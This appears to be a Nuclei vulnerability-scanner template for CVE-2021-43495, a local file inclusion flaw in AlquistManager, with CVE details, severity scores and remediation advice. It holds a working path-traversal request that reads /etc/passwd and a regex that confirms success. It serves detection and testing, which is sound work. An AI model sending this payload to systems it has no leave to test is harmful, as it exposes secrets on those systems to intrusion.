37 lines
1.4 KiB
YAML
37 lines
1.4 KiB
YAML
id: CVE-2021-43495
|
|
|
|
info:
|
|
name: AlquistManager Local File Inclusion
|
|
author: pikpikcu
|
|
severity: high
|
|
description: AlquistManager branch as of commit 280d99f43b11378212652e75f6f3159cde9c1d36 is affected by a directory traversal vulnerability in alquist/IO/input.py. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.
|
|
remediation: |
|
|
Ensure that user-supplied input is properly validated and sanitized before being used in file inclusion functions.
|
|
reference:
|
|
- https://github.com/AlquistManager/alquist/issues/43
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-43495
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2021-43495
|
|
cwe-id: CWE-22
|
|
epss-score: 0.06749
|
|
epss-percentile: 0.9306
|
|
cpe: cpe:2.3:a:alquistai:alquist:2017-06-13:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: alquistai
|
|
product: alquist
|
|
tags: cve,cve2021,lfi,alquist
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/asd/../../../../../../../../etc/passwd"
|
|
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
# digest: 4b0a00483046022100c61e5fb257286e3837f7adb8517e1113de543055f1efb8ebe3c237ab82aa05a9022100ab954df0e2aee01e0e9879fde7912702948a2a034d5f7b5164705ddf75c8b501:922c64590222798bb761d5b6d8e72950 |